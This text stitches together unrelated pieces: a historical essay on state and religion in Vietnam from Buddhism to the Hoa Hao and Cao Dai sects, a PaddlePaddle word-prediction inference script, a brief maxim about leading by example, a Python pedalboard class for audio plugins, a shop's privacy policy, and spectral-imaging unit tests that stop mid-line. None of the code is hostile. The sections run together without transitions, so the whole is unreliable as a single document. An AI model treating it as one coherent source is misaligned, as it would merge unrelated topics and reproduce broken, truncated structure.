prosperity for Vietnamese Buddhism. When entering a monastery, monks and nuns disavowed society's claims on them, including the claims of blood ties. The common expression for the act of joining a monastery was "to leave the world." Monks and nuns thus proclaimed themselves to be outside the realm of the king's subjects, outside the reach of his laws, and to be ruled by a power higher than the king. The only laws they would live by were the laws of the monkhood or vinaya. In China, these claims had attracted the censoriousness of rulers and Confucian scholars, and criticism turned into persecution. In the early days of independence, no Vietnamese scholar felt strong enough yet to attack Buddhism head on, and the rulers were both too devout and too dependent on the monks to resent their claims. But by the end of the 12th century, efforts to curb both the size and the power of the clergy were underway. The example of Ly Cong Uan reveals that for poor Vietnamese, one path to mobility ran through monasteries, where some education could be gained. Not all who joined monasteries, however, did so in order to receive an education, or out of religious commitment to seeking salvation in the afterlife. Economic considerations played an enormous role. For in renouncing the claims of society, monks also rejected the financial burdens of being a common subject of the king. Indeed, one Confucian scholar thundered in 1198 that there were as many tax-exempt monks as there were ordinary taxpayers. Monks avoided corvee labor and military service as well. So did the slaves, serfs and tenant families employed on the estates belonging to Buddhist temples. The origins of the temple slaves lie in Indian Buddhism, which forbade monks to engage in manual labor in order to use all their available time in purely religious activities. Thanks to constant donations from devout kings, nobles and commoners, the temples were lavishly decorated with gold, precious stones and metals, which, Confucian scholars of the day pointed out, could have been better used to fabricate agricultural implements and weapons, or simply used as currency. Furthermore, neither the very extensive lands attached to the temples, nor their products could be taxed. According to these scholars, one proof that people did not enter monasteries out of sincere religious commitment was how ignorant of the Buddhist scriptures the average monks were. In response, Vietnamese kings instituted regular exams. Those who failed were defrocked and returned to the ranks of tax-paying commoners. That scholars could attack Buddhism with such vigor was a sign that Confucianism was in the ascendancy. Buddhism remained an important influence both among common people and among members of the court, but never again after the 13th century would it play an important political role. Across the Perfume River from the imperial palace that the Nguyen kings built in Hue, stands the seven-story pagoda of the Heavenly Mother. Built in 1601, it is the last large-scale monument dedicated to Buddhism. Despite the fact that it was the ancestors of the Nguyen dynastic founder who ordered its construction, it was this dynasty which saw the triumph of Confucian orthodoxy. It is easy to contrast the here-and-now orientation of Confucianism with the other-worldliness of Buddhism. Confucianism is often thought of merely as a code of ethics and as a philosophy of government based on merit, which made possible the rise of bureaucratic rule in the countries of East Asia, curbing both the power of the ruler and of the aristocratic clans. Education, rather than brute force, became the path to power. Merit, that is to say suitability for governmental service, was determined through a system of civil service examinations testing a candidate's knowledge of a body of canonical texts -- the Four Classics and the Five Books. Suitability for office was determined by one's ability to write essays on literary themes, historical topics and current events according to rigid rules (for instance the rules governing avoidance of imperial names). A superior man was a man with a broad education, not an expert in a specific field. Furthermore, a stringent code of ethics guided the behavior of all from king to commoner, providing clear rules for their daily relationships and the ordering of society. What needs to be underlined is the religious dimension of Confucianism. Confucian scholars, and many Western observers after them, may have emphasized the rationalist, humanist, and rather prosaic dimension of Confucianism. But it was founded on a base of religious assumptions, no less strong for being unstated. Since the 11th century, the emperor had assumed the role of First Plowman. He launched the agricultural year by plowing the first furrow, a ceremony that was maintained in Vietnam until 1942, three years before imperial rule came to an end in revolution. This was one of many such religious duties to be performed only by the emperor. Ancestor worship and filial piety were the cardinal virtues that governed the lives of all. When still only a pretender to the throne, the eventual founder of the Nguyen dynasty, Gia Long, allowed his heir to be converted to Catholicism as a means of gaining support from Christian missionaries. The young prince was so thoroughly converted to Catholicism that he refused to perform the all-important rites of worship to his ancestors. Gia Long complained that not only his heir but also a great many of his courtiers refused to perform the rites that were a necessary part of court life. How would the court function if no one was left to carry out these ceremonies? Fortunately, the young Christian prince died before his father, allowing the succession to go to a half-brother who had been brought up in the strictest Confucian tradition. The calamity of having on the throne an emperor who would not perform the religious duties that went with his imperial functions was thus averted. Had the Catholic prince inherited the throne, not only would court life have been brought to a halt, but the well-being of the whole nation would have been jeopardized as well, for the emperor was the Son of Heaven. To him, and him only, devolved the duty to mediate between Heaven and man, and to ensure the welfare of his people by acting according to Heaven's will in all things, political as well as personal. If he sinned in any way, Heaven might choose to punish him by visiting disaster upon his people. Thus, any calamity, any instance of misfortune was interpreted as a sign of Heaven's displeasure with the emperor. Gia Long's great-grandson, Tu Duc, ascended the throne by edging out his two older brothers. Not unnaturally, both were incensed and rebelled. For reasons of state, Tu Duc was forced to put them to death. But to kill one's brothers, especially one's older brothers, was to go against the most basic Confucian ethics. No wonder that Tu Duc, faced with the threat of colonial conquest, blamed himself for visiting misfortune upon his people. Believing himself solely responsible for this calamity, he dealt with the French threat with a heavy dose of fatalism that perhaps sealed the fate of his nation. French rule over Vietnam lasted for eighty years. Tu Duc's acceptance of responsibility for the national calamity underlined the Confucian idea that only the emperor had religious duties. As his representatives, officials shared in these functions, performing at the local level ceremonies which the emperor performed in his court. It was feared that if common people were to usurp these religious powers, only evil spirits would answer to their call, and disorder would reign throughout the land. All that common people were expected to do was to support the emperor and his representatives by paying taxes and being loyal and obedient subjects. Obviously, it was impossible to enforce such an ideology which deprived common people of any religious role. Confronted with the ineradicable nature of popular religion, the state tried to make use of it for its own ends. One particular area of concern was the role of religion at the village level. There is a Vietnamese saying which likens the village to a smaller version of the imperial court. In thinking about village religion, it is useful to bear this image in mind, for religion functioned within the village in the same way as it did at the imperial court, providing the oil which smoothed its operations. Village affairs were conducted in the communal house, where all official documents pertaining to the village were deposited. These included village census rolls, tax and land records, and the all important village by-laws. The existence of these bylaws, a mixture of administrative rules, customary laws and religious guidelines, has led observers to give credence to the saying that the laws of the king must bow before village customs. In reality, these by-laws were always scrutinized by officials to make sure that they did not go against the spirit of imperial laws. Villages were far less autonomous than the popular saying would suggest. As the nation had its patron deities—the dragon-king and the turtle god—so had each village its own deity responsible for the well-being of its inhabitants. Sometimes the village god was its founder, but it could also be a particularly famous former inhabitant or a locally-recognized deity. The state exerted control over village religion by investing village gods with its stamp of approval. Thus graciously granted recognition, the god was enthroned in the national pantheon of deities to whom it was permitted to give worship. It came as a shock to 19th century officials that in one village, the inhabitants had chosen a thief as their village god, and in another, a famous rebel. In still another, the village inhabitants had chosen a woman of dubious morals. Religion was too important for peasants to exercise their whimsy. It was the officials' duty to persuade them to choose a more suitable object of veneration. Then there was the vexing question of local cults, in particular fertility rites, which made peasants behave in ways definitely not sanctioned by Confucian ethics. Not to mention the pervasive presence of Buddhist pagodas and Taoist temples, and the possible subversive activities of various practitioners of popular religion. But all this exercised the ire of state officials much more than the peasants. What tore Vietnamese communities apart was Christianity's challenge to village religion. Just as the court could not function without the proper religious ceremonies, no village affairs could be conducted without the proper worship to the village god. There existed a religious council in each village to ensure that ceremonies were carried out properly. What happened then, when some members of the village did not subscribe to the same religion as the majority of their fellow villagers? What happened if some refused to worship the village god? The court had been spared the dilemma when the Catholic crown prince died. But for many villages, there was no avoiding a confrontation. The Catholic religion expressly forbade the worship of false idols. So how could Vietnamese Catholics participate in village life which always began with the requisite rites to the tutelary god? Either they must be barred from doing so, or else village life would have to be restructured in a fundamental way. Another vexing issue was the authority of the parish priest which took precedence, in the eyes of his flock, over the authority of the village council. This Western book says that in the age of Yao there was a flood. Their country' s prince used one great ship and took all the people and birds and animals within the country and fled to occupy the inaccessible top of a high mountain. [The book] also says that at the time of this flood within their country there only existed seven people. Later the people daily increased but all of them stemmed from the ancestry of these seven people. Such a theory is truly unfounded [The book] also says that their country had one prince who led the people of the country to manufacture and erect a heavenly pagoda. Its height was goodness knows how many thousands of truong and he wanted to climb it and roam the heavenly palace in order to examine conditions in heaven. The emperor of heaven was afraid and immediately ordered heavenly bureaucrats to come down and change their tones [languages], causing them to be unable mutually to work together. Hence they were unable to complete their pagoda. That every place in their country now has different languages and customs is attributed to this. This theory is even more irrational. Throughout much of the 19th century, Catholics were persecuted, for the alien nature of their beliefs, for their insistence on putting God above the emperor, and for their suspected links with the foreigners who threatened Vietnamese independence. Catholics were the victims of the most extreme efforts at suppression, but others also suffered, as the state asserted as never before its claims to ultimate religious and political authority. One method of enforcing orthodoxy applied mostly to Buddhism. It consisted of imposing bureaucratic control over the organization and size of the Buddhist clergy through the supervision of doctrinal exams and ordinations into the clergy; limiting the number of temples that were built and the amount of land they were given; and manipulating the distribution of cultic and scriptural materials that were channeled through the court. Taoist priests, not being organized, were much less amenable to this form of control. But the more the state tried to enforce orthodoxy, the more it invited challenges from more traditional quarters, challenges which could be open, taking the form of rebellion, or merely implicit. The state's concern over the link between religion and rebellion was far from fanciful. In times past, Buddhist monks and Taoist priests had been known to lead movements of rebellion. Monasteries were still being used as places of refuge by rebels against the throne. This was one powerful reason behind the efforts to regulate Buddhist monasteries in the 19th century. It was easy enough to limit the number of ordained monks, and to defrock those who did not meet the standards set by the officials. However, given the limited resources of the traditional state, it was harder to prevent people from pursuing a religious life in places where the state did not penetrate. Such was the case of the southwestern frontier, a pioneer region through much of the 19th century, a meeting ground for various ethnic, cultural and religious groups, and thus a fertile place for heterodoxies to flourish. For reasons that are not clear, Catholic missionaries were not successful in attracting converts in the south before the colonial period. Most of the Catholics who were in South Vietnam in the 1960s were refugees from the north, or had become Catholics during the French colonial period. The brand of heterodoxy that flourished in the south in the 19th century was thus a product of Vietnamese popular religion, a mixture of Buddhist, Taoist, Confucian and animist beliefs. What distinguished this heterodoxy from the state religion was partly the prominence of Buddhism and Taoism over Confucianism, and partly a fundamentally different world-view. Confucianism was at base optimistic; life was good, nature was kind. This view was a logical outgrowth of the idea that the emperor's rule was benign and beneficial. Vietnamese religious dissidents, on the contrary, held a much more pessimistic view of life. Theirs was an apocalyptic vision of history. According to this interpretation, the cosmos evolved in series of cycles. Each of these cycles included a phase of prosperity, decay and ruin. At the end of each cycle, when ruin, disasters and wickedness had taken over, there would be an apocalyptic event, a flood perhaps, or a cosmic conflagration, or a huge typhoon. It would engulf the world and cleanse it of evil. All wickedness would disappear, and only what was good and virtuous would remain. The forces of the cosmos would rearrange themselves in a new "creation of Heaven and establishment of Earth" (tao thien lap dia), and a new era of peace, prosperity and virtue would begin. It was believed that our present era, ruled over by the historic Buddha Gautama, was about to end, and that it would be replaced by the era of Maitreya, the Future Buddha. Maitreya was a popular figure of worship throughout the history of Vietnamese Buddhism. In the Temple of the Heavenly Mother in Hue stands a huge statue of him. Until the 19th century, he embodied hope rather than despair. He symbolized the aspirations of Vietnamese Buddhists for salvation and rebirth in his Pure Land. Even though predictions of an impending apocalypse had surfaced many times over the centuries, the Maitreya ideal was not linked to the fear of apocalypse. In the 1850s, however, a new religious movement was founded on the claim that the apocalypse was about to come, and that all wickedness was to be destroyed. Then, the Buddha Maitreya would descend to usher in a new millennium of peace and prosperity. The exact location of his descent was to be a desolate hilly area near the Cambodian border in southwestern Vietnam. Those who wished to strive for salvation and rebirth in the reign of Maitreya were to gather there to cultivate themselves and lead a good life. The new religious movement became known as Buu Son Ky Huong or Strange Fragrance from the Precious Mountain. The name of the movement was meant to refer to the fact that Maitreya was expected to appear in the Seven Mountains of Chau Doc province (hence the idea of a Precious Mountain) and that he would preach a new Buddhist doctrine, likened by the believers to a strange fragrance. Southwestern Vietnam in the 1850s was pioneer territory with a sparse, but mixed population. The Vietnamese there were in the minority against both Cambodian natives and Chinese immigrants who had poured into the area in a steady stream since the turn of the century. Among the Vietnamese were people who had come in search of a better future. But there were also many defrocked monks from other regions, as well as people who were considered undesirable by the authorities of their native places and had been sent into exile to this frontier. The Vietnamese population in this region was thus adrift from its cultural moorings, for traditional village structures had not yet acquired solid foundations, and few representatives of the state were in evidence. What the Buu Son Ky Huong movement had to offer to these pioneers, dissidents and rebels was an ideology of moral, social and cultural integration, an ideology that made sense of their hardship and of their experiences, and provided them with hope for the future. This ideology was presented as a return to the original purity and simplicity of Buddhism. Observing the teachings of the Buddha in one's daily life would be the only path to salvation, not the mindless utterance of prayers, not costly offerings and elaborate ceremonies. It was thus a reaction to the rigid monasticism of 19th century Buddhism. It was an ideology that celebrated hard work and frugality, that did not distinguish between rich and poor, that was family-oriented rather than congregational or monastic. It was thus tailor-made for its pioneer following. Despite the sect members' self-image as orthodox Buddhists, their leaders tended to be practitioners of popular religion—faith-healers, soothsayers, and Taoist priests whose occupation gave them power over the world of spirits and put them in contact with a wide variety of people. Even the Buddhist monks among them did not belong to mainstream Buddhism. The leaders spearheaded the creation of new villages where the sectaries would be able to live according to the beliefs and practices of their sect while waiting for Maitreya's descent. They believed that all the hardships they suffered, battling wild beasts and inclement nature and enduring the ravages of unrest and periodic wars between Vietnam and Cambodia, prepared them for rebirth into the perfect world of Maitreya. All else would perish. The myth of the millennium was thus a powerful incentive to attract pioneers and to give them the courage to remain in this inhospitable region. At the same time, the religious teachings of the sect fostered a sense of community that overcame the absence of long-standing village institutions and kinship ties. No more than the Catholics of the north did these unorthodox pioneers openly challenge the authority of the emperor. They sought above all to remain in the margin of mainstream society, free of official interference. But even as they believed themselves to be loyal subjects of the emperor, they put Maitreya—and the prophets who claimed to be the reincarnation of Maitreya—above him. That in itself made them vulnerable to suppression as heretics. But while the Catholics, linked in the minds of the officials with the Westerners, came under increasing persecution, the sectaries of the southwest were valuable allies of the state as settlers of the disputed frontier area. The state thus chose to leave them alone. The sectaries became involved in the anticolonial movement soon after French conquest. It was the first time that their apocalyptic vision had led them into political militancy. In their calculations, the apocalypse loomed nearer, and the need to use violence against the established order as a prelude to the birth of the new millennium became more urgent. Not surprisingly, the French banned the sect, but were unable to eradicate it completely. Its roots were established firmly among the population of the southwest, and were able to survive into the 20th century. One reason why the Buu Son Ky Huong sect was able to outlive repeated persecution was its essentially family oriented nature. It had a minimum of organizational structure. It was a way of life more than an organized movement. Only when they rebelled did the sect members join together, for congregational worship was rare. Partly because of this characteristic, partly because of earlier suppression, the survival of this millenarian tradition went largely unnoticed in the first few decades of the 20th century, a time when secular political parties made their first appearance in Vietnam. Of these the Communist party was the most successful and visible, as well as the chief target of repression by the colonial state. That the millenarian tradition of the Buu Son Ky Huong sect had endured and even flourished was demonstrated spectacularly in 1939 when a 20 year-old youth named Huynh Phu So founded the Hoa Hao sect. A native of the southwest, Huynh Phu So capitalized on the millenarian beliefs, claiming that he was the reincarnation of the founder of the Buu Son Ky Huong sect and that his mission was to bring the tradition back to its original purity. He reactivated the myth of the millennium, predicting that the end of the world would come within a few years. In a few months he gained thousands of followers. Over the period of World War II, he gathered nearly one million followers who were fanatically devoted to him. Huynh Phu So stressed virtue in one's daily conduct as the chief method of seeking salvation, for over the years, the tendency to stage elaborate ceremonies with expensive offerings to Buddha had taken over, and with it the reliance on prayers rather than good deeds. Religion, he said, was to provide the guidelines for all activities. It was not enough, furthermore, to seek salvation for oneself only. In this era of imminent apocalypse, collective salvation was the ultimate aim. Religion should not stay separate from political matters; on the contrary, religious people had the duty to become politically involved since both politics and religion were concerned with salvation. To those who accused him of politicizing religion, Huynh Phu So replied that he was bringing religion into politics, as was right and proper. His Hoa Hao sect was thus not only a religious movement, but a political one as well, with a formidable mass base made up of nearly one million peasants, mostly located in the southwest and the Mekong delta. When World War II ended and the Japanese surrendered to the Allies, the sect refused to accept the leadership of the communist-dominated Viet Minh coalition. In 1947, Huynh Phu So was assassinated by Viet Minh agents, and his followers became implacably opposed to the Viet Minh. This hostility lasted through the Vietnam War, although some Hoa Hao members turned to the National Liberation Front (NLF) after the South Vietnamese government of President Ngo Dinh Diem crushed an uprising in which the sect had taken part, and disarmed it. The Buu Son Ky Huong and Hoa Hao sects made the most explicit refutation of the traditional Confucian state's contention that the political order must prevail over all areas of life, and of its claim to determine what role religion should play in the lives of ordinary Vietnamese. Essentially the two sects took a completely opposite view of the relationship between religion and politics. Both the sects and the state, however, were agreed about the fundamentally inextricable nature of this relationship. The Hoa Hao sect illustrates a reformist, purifying strand in popular religion. Historically, such reformist movements periodically appeared in reaction to the inherent tendency of popular religion towards excessive eclecticism. The latter tendency is well illustrated by the other major political-religious sect of southern Vietnam, the Cao Dai sect, which was founded in 1926, 13 years before the appearance of the Hoa Hao sect. Caodaism was not only an exuberant blend of Taoism, Buddhism, Confucianism and popular cults, it also aspired to be a universal religion by virtue of incorporating into its pantheon Jesus Christ and various figures from Western history, whose only connecting link was their claim to have had direct communication with God. The most important aspect of its doctrine was a belief in a Supreme Being or Cao Dai who made his wishes known through the agency of teen-age mediums. The eclectic nature of the Cao Dai teachings was reflected in its architecture and in its organization. Whereas the Hoa Hao sect remained family-oriented, and thus did not necessitate the construction of temples, the Cao Dai religion was congregational. The sayings of Cao Dai were transmitted to the faithful in oratories. The most important of these oratories was the Holy See in Tay Ninh province. Its structure was borrowed from the Catholic cathedral of Saigon, but its decoration was a product of Vietnamese popular religion at its gaudiest. Ubiquitous among this decoration was the Heavenly Eye represented by a very naturalistic picture of a human eye, and symbolizing the omniscience and omnipresence of Cao Dai. On the wall fronting the entrance was a large mural depicting Victor Hugo, Confucius and Sun Yat-sen, a painted symbol of the mixed origins of the Cao Dai beliefs. Cao Dai organization was as eclectic as its architectural style, and as complex as its pantheon of deities. Whereas the Hoa Hao sect had no institutional infrastructure until after World War II, the Cao Dai hierarchy was well developed. There were three different hierarchies made up of Confucian, Taoist and Buddhist followers, divided into nine grades. Furthermore, the structure of the sect was composed of a council of mediums, an administrative organ and a body overseeing the operation of charitable agencies serving as recruitment organs. To further complicate matters, male and female dignitaries of the sect were organized separately. Although the majority of the faithful were peasants from the southeastern provinces of Vietnam, the leaders came mostly from the ranks of colonial civil servants and landowners. In creating a new religion in which Christianity was but one strand, they were trying, in the words of Alexander Woodside, to find equivalence with the West. In organizing the sect as they did, they were also trying to be all things to all men. In trying to characterize the Cao Dai religion, the words adaptability and inclusiveness come to mind. Whereas the Hoa Hao sect under Huynh Phu So was rigid in its religious and political claims, the Cao Dai sect proved much more flexible. It avoided open conflict with the Viet Minh, while maintaining control over its territory. But in 1955, it too took part in the unsuccessful confrontation with President Diem, and it too was forced to give up its military role. Many of the sectaries, who had no memories of conflict to embitter their relations with the communists, were able to make common cause with them and to join the NLF. Religion affects the lives of ordinary men and women on many different levels. It provides them with moral guidelines, it gives meaning to their existence and to the world they inhabit. It gives them solace and hope for the future. As in 19th century Vietnam, religion can inspire them to build new communities that embody their vision of the perfect world in the most desolate places. The claims of religion need not be in conflict with the claims of the state. Throughout history, religion served both to integrate the Vietnamese people into a cohesive society and to reinforce the presence, if not the power, of the emperor while softening his rule. But it also served as a refuge for those who wanted to escape this rule, and as a vehicle of dissent for those who rejected the all encompassing claims of the state. In their turn, dissenters could, on behalf of their religious beliefs, present claims as sweeping as those made by the state on behalf of politics, and be as intransigent with those who disagreed with them. The communist state is in many ways heir to the Confucian state. This is evident in the social origins of much of its leadership. Like its Confucian predecessors, the new leadership has made a rigorous attempt to control the religious life of its population, only with the aid of a new state orthodoxy, Marxism-Leninism. The leadership insists that the Vietnamese Catholic church be a national church. It has ordered the confiscation of properties belonging to the Buddhist church, including schools and orphanages, on the grounds that the state alone should run such institutions. It refuses to allow draft-age males into the ranks of the Catholic and Buddhist clergies. Not unsurprisingly, these attempts at state control have provoked a reaction. Although the Communist party is securely at the helm, its leaders are taking no chances. Periodic appeals for vigilance against enemies of the state continue to be issued. Chief among these suspected enemies are members of the Cao Dai and Hoa Hao sects, as well as Catholics and Buddhists. The modern state has greater powers, and much more effective means of control than the traditional state ever possessed. It is conceivable that the communist state will succeed where the Confucian state did not. But religious aspirations are too strong to be uprooted easily. The outcome of the centuries-old tension between state and religion is very much in the laps of the gods. Gerald Cannon Hickey, Village in Vietnam, (New Haven: Yale University Press, 1964). Thich Nhat Hanh, Vietnam: The Lotus in the Sea of Fire, (London: SCM Press, Ltd, 1967). Hue-Tam Ho Tai, Millenarianism and Peasant Politics in Vietnam, (Cambridge: Harvard University Press, 1963). Lawrence Thompson, Chinese Religion, An Introduction, (Encino California: Duxbury Press, 1975). Huynh Sanh Thong, trans., The Tale of Kieu, by Nguyen Du, (New Haven: Yale University Press, 1983). C.K. Yang, Religion in Chinese Society,(Berkeley: University of California Press, 1967). Võ is one of the world’s finest performers of Vietnamese traditional instruments. Why Do American Students Seem Less Interested in Going to Asia? Writer and college instructor Michael Meyer explores why fewer university students seem interested in moving to Asia in comparison to 20 years ago. The filmmakers discuss how their new documentary is opening up debate among Vietnamese audiences.
# -*- encoding:utf-8 -*- import numpy as np import glob import gzip import paddle.v2 as paddle from nce_conf import network_conf def main(): paddle.init(use_gpu=False, trainer_count=1) word_dict = paddle.dataset.imikolov.build_dict() dict_size = len(word_dict) prediction_layer = network_conf( is_train=False, hidden_size=128, embedding_size=512, dict_size=dict_size) models_list = glob.glob('./models/*') models_list = sorted(models_list) with gzip.open(models_list[-1], 'r') as f: parameters = paddle.parameters.Parameters.from_tar(f) idx_word_dict = dict((v, k) for k, v in word_dict.items()) batch_size = 64 batch_ins = [] ins_iter = paddle.dataset.imikolov.test(word_dict, 5) infer_data = [] infer_data_label = [] for item in paddle.dataset.imikolov.test(word_dict, 5)(): infer_data.append((item[:4])) infer_data_label.append(item[4]) # Choose 100 samples from the test set to show how to infer. if len(infer_data_label) == 100: break feeding = { 'firstw': 0, 'secondw': 1, 'thirdw': 2, 'fourthw': 3, 'fifthw': 4 } predictions = paddle.infer( output_layer=prediction_layer, parameters=parameters, input=infer_data, feeding=feeding, field=['value']) for i, (prob, data, label) in enumerate(zip(predictions, infer_data, infer_data_label)): print '--------------------------' print "No.%d Input: " % (i+1) + \ idx_word_dict[data[0]] + ' ' + \ idx_word_dict[data[1]] + ' ' + \ idx_word_dict[data[2]] + ' ' + \ idx_word_dict[data[3]] print 'Ground Truth Output: ' + idx_word_dict[label] print 'Predict Output: ' + idx_word_dict[prob.argsort( kind='heapsort', axis=0)[-1]] print if __name__ == '__main__': main()
You will teach people more effectively by being a good example than you will by telling them what to do. The most important fact is that we must be perfect in our dealings and behavior. A great leader becomes most respected when his dealings are sincere to his preaches. Abraham Lincoln and Mahatma Gandhi attracted people more by their humbleness and kind nature. They lived as they told others to do. Thus it is conclusive that we must live as we preach and become role models to others.
# Copyright 2017 SrMouraSilva # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from pluginsmanager.model.effects_list import EffectsList from pluginsmanager.model.connections_list import ConnectionsList from pluginsmanager.observer.update_type import UpdateType from unittest.mock import MagicMock class Pedalboard(object): """ Pedalboard is a patch representation: your structure contains :class:`.Effect` and :class:`~pluginsmanager.model.connection.Connection`:: >>> pedalboard = Pedalboard('Rocksmith') >>> bank.append(pedalboard) >>> builder = Lv2EffectBuilder() >>> pedalboard.effects [] >>> reverb = builder.build('http://calf.sourceforge.net/plugins/Reverb') >>> pedalboard.append(reverb) >>> pedalboard.effects [<Lv2Effect object as 'Calf Reverb' active at 0x7f60effb09e8>] >>> fuzz = builder.build('http://guitarix.sourceforge.net/plugins/gx_fuzzfacefm_#_fuzzfacefm_') >>> pedalboard.effects.append(fuzz) >>> pedalboard.connections [] >>> pedalboard.connections.append(Connection(sys_effect.outputs[0], fuzz.inputs[0])) # View SystemEffect for more details >>> pedalboard.connections.append(Connection(fuzz.outputs[0], reverb.inputs[0])) >>> # It works too >>> pedalboard.connect(reverb.outputs[1], sys_effect.inputs[0]) >>> pedalboard.connections [<Connection object as 'system.capture_1 -> GxFuzzFaceFullerMod.In' at 0x7f60f45f3f60>, <Connection object as 'GxFuzzFaceFullerMod.Out -> Calf Reverb.In L' at 0x7f60f45f57f0>, <Connection object as 'Calf Reverb.Out R -> system.playback_1' at 0x7f60f45dacc0>] >>> pedalboard.data {} >>> pedalboard.data = {'my-awesome-component': True} >>> pedalboard.data {'my-awesome-component': True} For load the pedalboard for play the songs with it:: >>> mod_host.pedalboard = pedalboard All changes¹ in the pedalboard will be reproduced in mod-host. ¹ Except in data attribute, changes in this does not interfere with anything. :param string name: Pedalboard name """ def __init__(self, name): self.name = name self._effects = EffectsList() self._connections = ConnectionsList(self) self.effects.observer = self._effects_observer self.connections.observer = self._connections_observer self._observer = MagicMock() self.bank = None self.data = {} @property def observer(self): return self._observer @observer.setter def observer(self, observer): self._observer = observer for effect in self.effects: effect.observer = observer def _effects_observer(self, update_type, effect, index, **kwargs): kwargs['index'] = index kwargs['origin'] = self if update_type == UpdateType.CREATED: self._init_effect(effect) elif update_type == UpdateType.UPDATED: self._init_effect(effect) old_effect = kwargs['old'] if old_effect not in self.effects: self._clear_effect(old_effect) elif update_type == UpdateType.DELETED: self._clear_effect(effect) self.observer.on_effect_updated(effect, update_type, index=index, origin=self) def _init_effect(self, effect): effect.pedalboard = self effect.observer = self.observer def _clear_effect(self, effect): for connection in effect.connections: self.connections.remove_silently(connection) effect.pedalboard = None effect.observer = MagicMock() def _connections_observer(self, update_type, connection, index, **kwargs): self.observer.on_connection_updated(connection, update_type, pedalboard=self, **kwargs) @property def json(self): """ Get a json decodable representation of this pedalboard :return dict: json representation """ return self.__dict__ @property def __dict__(self): return { 'name': self.name, 'effects': [effect.json for effect in self.effects], 'connections': [connection.json for connection in self.connections], 'data': self.data } def append(self, effect): """ Add a :class:`.Effect` in this pedalboard This works same as:: >>> pedalboard.effects.append(effect) or:: >>> pedalboard.effects.insert(len(pedalboard.effects), effect) :param Effect effect: Effect that will be added """ self.effects.append(effect) @property def effects(self): """ Return the effects presents in the pedalboard .. note:: Because the effects is an :class:`.ObservableList`, it isn't settable. For replace, del the effects unnecessary and add the necessary effects """ return self._effects @property def connections(self): """ Return the pedalboard connections list .. note:: Because the connections is an :class:`.ObservableList`, it isn't settable. For replace, del the connections unnecessary and add the necessary connections """ return self._connections @property def index(self): """ Returns the first occurrence of the pedalboard in your bank """ if self.bank is None: raise IndexError('Pedalboard not contains a bank') return self.bank.pedalboards.index(self) def connect(self, output_port, input_port): """ Connect two :class:`.Effect` instances in this pedalboard. For this, is necessary informs the output port origin and the input port destination:: >>> pedalboard.append(driver) >>> pedalboard.append(reverb) >>> driver_output = driver.outputs[0] >>> reverb_input = reverb.inputs[0] >>> Connection(driver_output, reverb_input) in driver.connections False >>> pedalboard.connect(driver_output, reverb_input) >>> Connection(driver_output, reverb_input) in driver.connections True :param Port output_port: Effect output port :param Port input_port: Effect input port """ ConnectionClass = output_port.connection_class self.connections.append(ConnectionClass(output_port, input_port)) def disconnect(self, output_port, input_port): """ Remove a connection between (two ports of) :class:`.Effect` instances. For this, is necessary informs the output port origin and the input port destination:: >>> pedalboard.append(driver) >>> pedalboard.append(reverb) >>> driver_output = driver.outputs[0] >>> reverb_input = reverb.inputs[0] >>> pedalboard.connect(driver_output, reverb_input) >>> Connection(driver_output, reverb_input) in driver.connections True >>> pedalboard.disconnect(driver_output, reverb_input) >>> Connection(driver_output, reverb_input) in driver.connections False :param Port output_port: Effect output port :param Port input_port: Effect input port """ ConnectionClass = output_port.connection_class self.connections.remove(ConnectionClass(output_port, input_port))
At Hickeys, we value your privacy and your trust in us. Your name, address, e-mail, phone number, and purchase history are kept on our in-store computer system. We use this system to expedite your orders and provide intelligent customer service to you. Employees can only access the last 4 digits of any credit card you choose to use. The actually numbers are stored in highly encrypted form for your protection. We do not ever rent, sell or otherwise make available any information whatsoever about you or your history to anyone. Ever. We diligently guard your privacy and refuse all requests from outside firms for access to our mailing list. For those who have signed up on our e-mail list, you may also rest assured that the address is completely confidential here at Hickeys. It may be used to occasionally notify you of special offers or other promotions of which you may be interested. We do not allow any outsiders access to your e-mail address for any reason. Please let us know if you have any concerns or questions about our privacy policies or practices. You can email us at info@hickeys.com or call 1-800.442.5397.
######################################################################### # # envi.py - This file is part of the Spectral Python (SPy) package. # # Copyright (C) 2013 Thomas Boggs # # Spectral Python is free software; you can redistribute it and/ # or modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # Spectral Python is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this software; if not, write to # # Free Software Foundation, Inc. # 59 Temple Place, Suite 330 # Boston, MA 02111-1307 # USA # ######################################################################### # # Send comments to: # Thomas Boggs, tboggs@users.sourceforge.net # # spyfile.py '''Runs unit tests of functions associated with the ENVI file format. To run the unit tests, type the following from the system command line: # python -m spectral.tests.envi ''' from __future__ import division, print_function, unicode_literals import numpy as np import os from numpy.testing import assert_almost_equal from .spytest import SpyTest from spectral.tests import testdir class ENVIWriteTest(SpyTest): '''Tests that SpyFile memmap interfaces read and write properly.''' def __init__(self): pass def setup(self): import os if not os.path.isdir(testdir): os.makedirs(testdir) def test_save_image_ndarray(self): '''Test saving an ENVI formated image from a numpy.ndarray.''' import os import spectral (R, B, C) = (10, 20, 30) (r, b, c) = (3, 8, 23) datum = 33 data = np.zeros((R, B, C), dtype=np.uint16) data[r, b, c] = datum fname = os.path.join(testdir, 'test_save_image_ndarray.hdr') spectral.envi.save_image(fname, data, interleave='bil') img = spectral.open_image(fname) assert_almost_equal(img[r, b, c], datum) def test_save_image_ndarray_no_ext(self): '''Test saving an ENVI formated image with no image file extension.''' import os import spectral data = np.arange(1000, dtype=np.int16).reshape(10, 10, 10) base = os.path.join(testdir, 'test_save_image_ndarray_noext') hdr_file = base + '.hdr' spectral.envi.save_image(hdr_file, data, ext='') rdata = spectral.open_image(hdr_file).load() assert(np.all(data==rdata)) def test_save_image_ndarray_alt_ext(self): '''Test saving an ENVI formated image with alternate extension.''' import os import spectral data = np.arange(1000, dtype=np.int16).reshape(10, 10, 10) base = os.path.join(testdir, 'test_save_image_ndarray_alt_ext') hdr_file = base + '.hdr' ext = '.foo' img_file = base + ext spectral.envi.save_image(hdr_file, data, ext=ext) rdata = 